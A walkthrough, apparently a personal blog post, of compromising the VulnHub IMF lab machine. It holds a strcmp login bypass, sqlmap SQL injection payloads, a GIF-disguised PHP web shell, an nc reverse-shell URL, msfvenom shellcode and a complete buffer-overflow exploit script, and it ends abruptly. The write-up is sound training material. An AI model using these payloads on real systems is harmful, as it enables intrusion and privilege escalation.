← Home

VulnHub IMF

10 April, 2021

Machine Link: https://www.vulnhub.com/entry/imf-1,162/

Beginning with an nmap scan

$ sudo nmap -A -p 1-20000 192.168.56.114
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-06 10:45 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.114
Host is up (0.0016s latency).
Not shown: 19999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:B3:1F:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.64 ms 192.168.56.114

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.31 seconds

Only port 80, interesting...

$ nikto -host http://192.168.56.114
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.114
+ Target Hostname:    192.168.56.114
+ Target Port:        80
+ Start Time:         2021-04-06 10:47:51 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2021-04-06 10:48:55 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Checking the available paths

$ ./gobuster dir -u http://192.168.56.114 -w wordlists/common.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.114
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 298]
/.htpasswd.php        (Status: 403) [Size: 302]
/.htaccess.php        (Status: 403) [Size: 302]
/.htaccess            (Status: 403) [Size: 298]
/.hta                 (Status: 403) [Size: 293]
/.hta.php             (Status: 403) [Size: 297]
/contact.php          (Status: 200) [Size: 8649]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.114/css/]
/fonts                (Status: 301) [Size: 316] [--> http://192.168.56.114/fonts/]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.114/images/]
/index.php            (Status: 200) [Size: 4797]                                   
/index.php            (Status: 200) [Size: 4797]                                   
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.114/js/]    
/projects.php         (Status: 200) [Size: 6574]                                   
/server-status        (Status: 403) [Size: 302]                                    
                                                                                   
===============================================================
Finished
===============================================================

Looking at the source code for contact.php I found the first flag

The flag was a base64 encoded string

$ echo "YWxsdGhlZmlsZXM=" | base64 --decode
allthefiles

On the same page, one of the JS file name also looked like base64 encoded

$ echo "eVlYUnZjZz09fQ==" | base64 --decode
yYXRvcg==}

Well that looked like a partial text. So I tried concatenating the three file names and there it was!

$ echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 --decode
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
$ echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 --decode                    
imfadministrator

Hmm imfadministrator looked like a username. While it might be a username, right now it turned out to be a path leading to a login page

Looking at the source code, there is a hardcoded password on the other side

I tried some common usernames and kept getting "invalid username". Took me a while to recall that PHP's strcmp tends to misbehave with certain types of inputs. Using the set of emails as the usernames I sent the pass field as an empty array. When using strcmp, the comparison of a string and an array will return "0", the same value returned on equality.

$ curl 'http://192.168.56.114/imfadministrator/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.56.114' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://192.168.56.114/imfadministrator/' -H 'Cookie: PHPSESSID=905q5t9p0gnufni3o8j6rgsaa7' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'user=rmichaels&pass[]='
flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>
$ echo "Y29udGludWVUT2Ntcw==" | base64 --decode    
continueTOcms

Continuing to the CMS

Straightaway looked like LFI, so I tried a number of payloads from PayloadsAllTheThings and none of them worked.

So I thought of trying SQLi next and it did bring out a different output

Spent some time going through different SQLi payloads but couldn't get anyone to work. So I resorted to using SQLmap (even though its not allowed during the OSCP exam). You will need a valid PHPSESSID.

$ sqlmap -v --threads 10 --url http://192.168.56.114/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=38jcovvh1qja7rebf66kgsg653;" --dbms=mysql --dump        
        ___
       __H__                                                                                                                                                                                                                                 
 ___ ___[)]_____ ___ ___  {1.5.2#stable}                                                                                                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                    
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                    
      |_|V...       |_|   http://sqlmap.org                                                                                                                                                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[10:58:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pagename (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pagename=home' AND 1987=1987 AND 'zKiN'='zKiN

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pagename=home' AND (SELECT 4969 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(4969=4969,1))),0x7171786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'oapC'='oapC

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: pagename=home' AND (SELECT 2480 FROM (SELECT(SLEEP(5)))dmGo) AND 'VkiK'='VkiK

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: pagename=-1132' UNION ALL SELECT CONCAT(0x7171787671,0x7a4c756d4f656d6f63434c54454e7650524779506355654e674a44417662715871644c6251624478,0x7171786271)#
---
[10:58:13] [INFO] testing MySQL
[10:58:14] [INFO] confirming MySQL
[10:58:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[10:58:14] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:58:14] [INFO] fetching current database
[10:58:14] [INFO] fetching tables for database: 'admin'
[10:58:14] [INFO] fetching columns for table 'pages' in database 'admin'
[10:58:14] [INFO] starting 3 threads
[10:58:14] [INFO] retrieved: 'id','int(11)'
[10:58:14] [INFO] retrieved: 'pagedata','text'
[10:58:14] [INFO] retrieved: 'pagename','varchar(255)'
[10:58:14] [INFO] fetching entries for table 'pages' in database 'admin'                                                                                                                                                                    
[10:58:14] [INFO] starting 4 threads
[10:58:15] [INFO] retrieved: '3','Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.','tutorials-incomplete'
[10:58:15] [INFO] retrieved: '1','Under Construction.','upload'
[10:58:15] [INFO] retrieved: '2','Welcome to the IMF Administration.','home'
[10:58:15] [INFO] retrieved: '4','<h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary','disavowlist'
Database: admin                                                                                                                                                                                                                             
Table: pages
[4 entries]
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| id | pagedata                                                                                                                                                              | pagename             |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| 1  | Under Construction.                                                                                                                                                   | upload               |
| 2  | Welcome to the IMF Administration.                                                                                                                                    | home                 |
| 3  | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.                                                               | tutorials-incomplete |
| 4  | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary | disavowlist          |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+

[10:58:15] [INFO] table 'admin.pages' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.56.114/dump/admin/pages.csv'
[10:58:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.114'

Oh a hidden page, let's check that out.

Decoding the QR code gave away the next flag

# flag4{dXBsb2Fkcjk0Mi5waHA=}

$ echo "dXBsb2Fkcjk0Mi5waHA=" | base64 --decode
uploadr942.php

This page was an upload form

Uploading a PHP file gave the error Error: Invalid file type. however images uploaded successfully. After uploading the page's source had a comment with what looked like a hash. After some trial and error, I could find the uploaded file at /imfadministrator/uploads/<hash>.<extension>. Just changing the extension of a PHP file to PNG gave the error Error: CrappyWAF detected malware. Signature: fsockopen php function detected

The "CrappyWAF" was also filtering out PHP functions like system(), after playing around a bit the payload that got through was a tricky GIF file

GIF87a<?php echo `whoami`; ?>

So I modified the payload to

GIF87a<?php $c = $_GET["c"]; `$c`; ?>

After a couple of tries, I was able to get a reverse shell using a URL encoded nc based command, of course after verifying nc is installed using which nc

http://192.168.56.114/imfadministrator/uploads/640e59faf52b.gif?c=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.56.103%204243%20%3E%2Ftmp%2Ff

The next flag was found immediately

$ nc -lvnp 4243                    
listening on [any] 4243 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.114] 60044
/bin/sh: 0: can't access tty; job control turned off
$ ls -ltrha
total 124K
-rw-r--r-- 1 www-data www-data   82 Oct 12  2016 .htaccess
-rw-r--r-- 1 www-data www-data   28 Oct 12  2016 flag5_abc123def.txt
drwxr-xr-x 4 www-data www-data 4.0K Oct 17  2016 ..
-rw-r--r-- 1 www-data www-data 9.0K Apr  8 13:02 f5096714c347.png
-rw-r--r-- 1 www-data www-data  33K Apr  8 13:03 00c037fd0ae4.png
-rw-r--r-- 1 www-data www-data  20K Apr  8 13:03 cbdc715fe5d0.png
-rw-r--r-- 1 www-data www-data  24K Apr  8 13:03 3f9268dc399f.png
-rw-r--r-- 1 www-data www-data   25 Apr  8 13:13 49b2d7166eb2.gif
-rw-r--r-- 1 www-data www-data   30 Apr  8 13:14 fc98764cf4e6.gif
-rw-r--r-- 1 www-data www-data   38 Apr  8 13:17 16121fc53599.gif
-rw-r--r-- 1 www-data www-data   43 Apr  8 13:18 640e59faf52b.gif
drwxr-xr-x 2 www-data www-data 4.0K Apr  8 13:18 .
$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
$ echo "YWdlbnRzZXJ2aWNlcw==" | base64 --decode
agentservices
$ whoami
www-data
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
setup:x:1000:1000:setup,,,:/home/setup:/bin/bash

From here it took me a while and a vain run of linpeas, after which I found two interesting files in /usr/local/bin

$ cd /usr/local/bin
$ ls -ltrha
total 24K
drwxr-xr-x 10 root root 4.0K Sep 22  2016 ..
-rwxr-xr-x  1 root root  12K Oct 12  2016 agent
-rw-r--r--  1 root root   19 Oct 16  2016 access_codes
drwxr-xr-x  2 root root 4.0K Oct 16  2016 .
$ file agent
agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
$ file access_codes
access_codes: ASCII text
$ cat access_codes
SYN 7482,8279,9467

These looked like port numbers. Looking at the running processes, I came to know about this process knockd so I tried hitting these ports in the specified order.

$ nc -z localhost 7482 8279 9467
$ netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           - 
$ nc localhost 7788
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID :

While this was waiting for input, I could see a new process running as root that matched a binary found earlier

root      1450  0.0  0.0   2192   532 ?        Ss   07:55   0:00 agent

Alright, so let's analyze the binary now

$ ./agent
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID :

I couldn't find a valid agent ID straightaway, however the strings output for this binary showed some interesting content

$ strings agent
/lib/ld-linux.so.2
I.ny
libc.so.6
_IO_stdin_used
strncmp
__isoc99_scanf
puts
stdin
fgets
getchar
stdout
asprintf
setbuf
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System
Agent ID : 
Invalid Agent ID 
Login Validated 
Exiting...
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 
Extraction Points:
Staatsoper, Vienna, Austria
Blenheim Palace, Woodstock, Oxfordshire, England, UK
Great Windmill Street, Soho, London, England, UK
Fawley Power Station, Southampton, England, UK
Underground Station U4 Schottenring, Vienna, Austria
Old Town Square, Old Town, Prague, Czech Republic
Drake Hotel - 140 E. Walton Pl., Near North Side, Chicago, Illinois, USA
Ashton Park, Mosman, Sydney, New South Wales, Australia
Argyle Place, The Rocks, Sydney, New South Wales, Australia
Extraction Request
Enter extraction location: 
Location: %s
Extraction team has been deployed.
Enter report update: 
Report: %s
Submitted for review.
;*2$",

I came to know about the tool ltrace. According to the man page

ltrace is a program that simply runs the specified command until it exits. It intercepts and records the dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program.

$ ltrace ./agent
__libc_start_main(0x80485fb, 1, 0xffaae594, 0x8048970 <unfinished ...>
setbuf(0xf779bd60, 0)                            = <void>
asprintf(0xffaae4c8, 0x80489f0, 0x2ddd984, 0xf76030ec) = 8
puts("  ___ __  __ ___ "  ___ __  __ ___ 
)                        = 18
puts(" |_ _|  \\/  | __|  Agent" |_ _|  \/  | __|  Agent
)                = 25
puts("  | || |\\/| | _|   Reporting"  | || |\/| | _|   Reporting
)            = 29
puts(" |___|_|  |_|_|    System\n" |___|_|  |_|_|    System

)              = 27
printf("\nAgent ID : "
Agent ID : )                          = 12
fgets(12
"12\n", 9, 0xf779b5a0)                     = 0xffaae4ce
strncmp("12\n", "48093572", 8)                   = -1
puts("Invalid Agent ID "Invalid Agent ID 
)                        = 18
+++ exited (status 254) +++

OK, so the agent ID is 48093572. One of the subcommands was vulnerable to buffer overflow

$ ./agent
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Report: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Submitted for review.
Segmentation fault (core dumped)

So I downloaded the binary to analyse it with gdb

gef➤ disass main
...
   0x08048707 <+268>:   mov    DWORD PTR [ebp-0x10],eax
   0x0804870a <+271>:   cmp    DWORD PTR [ebp-0x10],0x1
   0x0804870e <+275>:   jne    0x8048717 <main+284>
   0x08048710 <+277>:   call   0x80487e2 <extractionpoints>
   0x08048715 <+282>:   jmp    0x8048741 <main+326>
   0x08048717 <+284>:   cmp    DWORD PTR [ebp-0x10],0x2
   0x0804871b <+288>:   jne    0x8048724 <main+297>
   0x0804871d <+290>:   call   0x804888b <requestextraction>
   0x08048722 <+295>:   jmp    0x8048741 <main+326>
   0x08048724 <+297>:   cmp    DWORD PTR [ebp-0x10],0x3
   0x08048728 <+301>:   jne    0x8048731 <main+310>
   0x0804872a <+303>:   call   0x804890e <report>
   0x0804872f <+308>:   jmp    0x8048741 <main+326>
...
gef➤  disass report
Dump of assembler code for function report:
   0x0804890e <+0>:     push   ebp
   0x0804890f <+1>:     mov    ebp,esp
   0x08048911 <+3>:     sub    esp,0xa8
   0x08048917 <+9>:     sub    esp,0xc
   0x0804891a <+12>:    push   0x8048d53
   0x0804891f <+17>:    call   0x8048460 <printf@plt>
   0x08048924 <+22>:    add    esp,0x10
   0x08048927 <+25>:    sub    esp,0xc
   0x0804892a <+28>:    lea    eax,[ebp-0xa4]
   0x08048930 <+34>:    push   eax
   0x08048931 <+35>:    call   0x8048470 <gets@plt>
   0x08048936 <+40>:    add    esp,0x10
   0x08048939 <+43>:    sub    esp,0x8
   0x0804893c <+46>:    lea    eax,[ebp-0xa4]
   0x08048942 <+52>:    push   eax
   0x08048943 <+53>:    push   0x8048d6a
   0x08048948 <+58>:    call   0x8048460 <printf@plt>
   0x0804894d <+63>:    add    esp,0x10
   0x08048950 <+66>:    sub    esp,0xc
   0x08048953 <+69>:    push   0x8048d76
   0x08048958 <+74>:    call   0x80484a0 <puts@plt>
   0x0804895d <+79>:    add    esp,0x10
   0x08048960 <+82>:    lea    eax,[ebp-0xa4]
   0x08048966 <+88>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048969 <+91>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804896c <+94>:    leave  
   0x0804896d <+95>:    ret    
End of assembler dump.

It looks like the large input is overflowing to $eax and $eip. $eip is what can be manipulated to point to a specific instruction

$eax   : 0xffffd454  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebx   : 0x0       
$ecx   : 0xffffffff
$edx   : 0xffffffff
$esp   : 0xffffd500  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebp   : 0x61616161 ("aaaa"?)
$esi   : 0xf7fac000  →  0x001e4d6c
$edi   : 0xf7fac000  →  0x001e4d6c
$eip   : 0x61616161 ("aaaa"?)

gef➤  info frame
Stack level 0, frame at 0xffffd504:
 eip = 0x31333231; saved eip = 0x32313332
 called by frame at 0xffffd508
 Arglist at 0xffffd4fc, args: 
 Locals at 0xffffd4fc, Previous frame's sp is 0xffffd504
 Saved registers:
  eip at 0xffffd500

>>> int(hex(0xffffd500-0xffffd454), 16)
172

That means padding will be of 168 bytes. So now my aim was to fill up $eax with shell code for a reverse shell and then extend my payload so that $eip is manipulated to call $eax. I used msfvenom to generate the payload. This was my first buffer overflow challenge and I wasn't able to write the exploit without assistance.

I used msfvenom to generate the payload and ropgadget to find the call $eax instruction

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4445 -f python        
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 349 bytes
buf =  b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += b"\xa8\x38\x67\x68\x02\x00\x11\x5d\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"

# ROPgadget --binary agent | grep "call eax"
0x0804855d : adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x08048561 : add al, 8 ; call eax
0x08048563 : call eax
0x0804855f : cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855c : in al, dx ; adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855a : in eax, 0x83 ; in al, dx ; adc al, 0x68 ; cmp al, 0xb0 ; add al, 8 ; call eax
0x0804855e : push 0x804b03c ; call eax
0x0804855b : sub esp, 0x14 ; push 0x804b03c ; call eax

The final exploit

import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 7788))
    s.send(b"48093572\n")
    s.recv(512)
    s.send(b"3\n")
    s.recv(512)
    buf =  b""
    buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
    buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
    buf += b"\xa8\x38\x67\x68\x02\x00\x11\x5d\x89\xe1\xb0\x66\x50"
    buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
    buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
    buf += b"\x0b\xcd\x80"
    buf += b"A" * (168 - len(buf))
    buf += b"\x63\x85\x04\x08\n"

    s.send(buf)

On the victim machine

$ wget http://192.168.56.103:8000/exploit.py                                                                                                                                                                                  
--2021-04-10 08:57:42--  http://192.168.56.103:8000/exploit.py                                                                                                                                                                               
Connecting to 192.168.56.103:8000... failed: Connection refused.                                                                                                                                                                             
$ rm exploit.py; wget http://192.168.56.103:8000/exploit.py                                                                                                                                                                                  
rm: cannot remove 'exploit.py': No such file or directory                                                                                                                                                                                    
--2021-04-10 08:57:52--  http://192.168.56.103:8000/exploit.py                                                                                                                                                                               
Connecting to 192.168.56.103:8000... connected.                                                                                                                                                                                              
HTTP request sent, awaiting response... 200 OK                                                                                                                                                                                               
Length: 650 [text/x-python]                                                                                                                                                                                                                  
Saving to: 'exploit.py'                                                                                                                                                                                                                      
                                                                                                                                                                                                                                             
     0K                                                       100% 62.5M=0s                                                                                                                                                                  
                                                                                                                                                                                                                                             
2021-04-10 08:57:52 (62.5 MB/s) - 'exploit.py' saved [650/650]                                                                                                                                                                               
                                                                                                                                                                                                                                             
$ python3 exploit.py

On the attack machine

